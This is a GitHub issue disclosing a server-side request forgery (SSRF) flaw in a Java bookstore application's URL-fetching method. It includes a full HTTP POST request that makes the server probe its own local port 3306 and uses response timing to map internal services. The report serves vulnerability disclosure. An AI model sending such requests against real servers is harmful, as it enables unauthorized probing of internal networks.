Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Bookstore has SSRF #11

Open
LvZCh opened this issue Dec 27, 2024 · 0 comments
Open

Bookstore has SSRF #11

LvZCh opened this issue Dec 27, 2024 · 0 comments

Comments

@LvZCh
Copy link

LvZCh commented Dec 27, 2024

Code Audit:
The getHtml method in src/main/java/org/zdd/bookstore/rawl/HttpUtil. java does not filter the incoming URL parameters, allowing attackers to determine whether the internal network service is enabled based on the response time
image

Vulnerability exploitation:
Data packet:

POST /write HTTP/1.1
Host: 192.168.0.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=EFC9E8518CFE03C75919C813FA660442
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

url=http://127.0.0.1:3306

Local port 3306 is open and responds quickly
image
Local port 3307 is not turned on, with a response time of at least 2 seconds or more
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant